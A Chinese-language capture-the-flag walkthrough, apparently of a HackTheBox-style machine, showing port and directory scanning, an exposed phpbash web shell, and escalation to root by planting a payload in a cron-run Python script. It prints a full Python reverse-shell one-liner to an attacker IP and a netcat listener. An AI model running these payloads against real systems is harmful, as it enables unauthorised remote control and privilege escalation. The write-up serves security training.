靶机描述
清单
-
信息搜集
- nmap
- dirsearch
- 未受到保护的危险php文件
-
提权
- sudo -l
- 定时脚本
信息搜集
靶机IP
端口扫描
nmap 10.10.10.68
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
80
页面内容如下
介绍了 phpbash https://github.com/Arrexel/phpbash
功能是在 Web 页面里可以像交互式shell 一样进行
我们只需要找到这个位置在哪就能获取简单的shell 了
目录扫描
python3 dirsearch.py -u http://10.10.10.68/ -e php
[17:49:40] 200 - 0B - /config.php
[17:49:43] 301 - 308B - /css -> http://10.10.10.68/css/
[17:49:46] 301 - 308B - /dev -> http://10.10.10.68/dev/
[17:49:46] 200 - 1KB - /dev/
[17:49:52] 301 - 310B - /fonts -> http://10.10.10.68/fonts/
[17:49:57] 301 - 311B - /images -> http://10.10.10.68/images/
[17:49:58] 200 - 8KB - /index.html
[17:50:01] 301 - 307B - /js -> http://10.10.10.68/js/
[17:50:15] 200 - 939B - /php/
[17:50:26] 403 - 299B - /server-status
[17:50:26] 403 - 300B - /server-status/
[17:50:39] 301 - 312B - /uploads -> http://10.10.10.68/uploads/
[17:50:39] 200 - 14B - /uploads/
在 /dev 里得到 phpbash 的位置
使用
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
来获取 shell
www-data
得到 www-data 会话
看起来我们可以不需要密码移动到 scriptmanager 用户
scriptmanager
切换至 script 用户
来到根目录下的 scripts 目录
test.py 内容为
scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
目录结构如下
看起来test.py 回以root 权限运行
获取ROOT
1、将 test.py 内容写入
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26",223));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
2、监听端口
nc -lvp 223
3、等待2分钟
得到 root
http://blog.yutian233.xyz/